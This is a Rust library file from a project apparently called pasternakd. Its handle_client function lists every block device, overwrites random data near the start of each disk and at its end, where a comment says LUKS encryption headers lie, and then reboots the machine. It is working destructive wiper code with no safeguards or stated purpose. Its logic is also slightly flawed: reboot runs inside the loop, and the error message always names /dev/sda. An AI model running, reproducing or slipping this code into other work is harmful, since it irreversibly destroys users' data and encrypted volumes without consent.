pasternakd/src/lib.rs
2024-09-22 18:46:31 +03:00

63 lines
1.8 KiB
Rust

use std::fs::OpenOptions;
use rand::Rng;
use std::io::{self, Write};
use std::io::Seek;
use std::process::Command;
fn get_block_devices() -> Vec<String> {
let output = Command::new("lsblk")
.arg("--output=NAME")
.arg("--noheadings")
.output()
.unwrap();
let mut block_devices: Vec<String> = vec![];
let mut output_str = String::new();
if output.status.success() {
output_str = String::from_utf8(output.stdout).unwrap();
block_devices = output_str.lines()
.filter(|line| !line.trim().contains('|') && !line.trim().contains('│') && !line.trim().contains('├') && !line.trim().contains('└') && !line.trim().contains('-'))
.map(|line| line.to_string())
.collect();
}
block_devices
}
pub fn handle_client() {
let block_devices: Vec<String> = get_block_devices();
for blockdevice in block_devices {
let diskname = format!("/dev/{blockdevice}");
let mut disk = OpenOptions::new()
.write(true)
.open(diskname)
.expect("Failed to open /dev/sda");
// Calculate Location of LBA 33, with a sector size of 512
let byte_offset = 33 * 512;
// Generate 512 KB of random data
let mut rng = rand::thread_rng();
let mut buffer = vec![0u8; 512 * 1024];
rng.fill(&mut buffer[..]);
// Seek to the start of LBA 33, where the first partition usually starts.
disk.seek(io::SeekFrom::Start(byte_offset as u64)).unwrap();
// Splash one.
disk.write_all(&buffer).unwrap();
// Seek to the end of the disk, just to make sure we get the LUKS headers.
disk.seek(io::SeekFrom::End(-524288_i64)).unwrap();
// Splash two.
disk.write_all(&buffer).unwrap();
// Reboot.
let _reboot = Command::new("reboot")
.output()
.unwrap();
}
}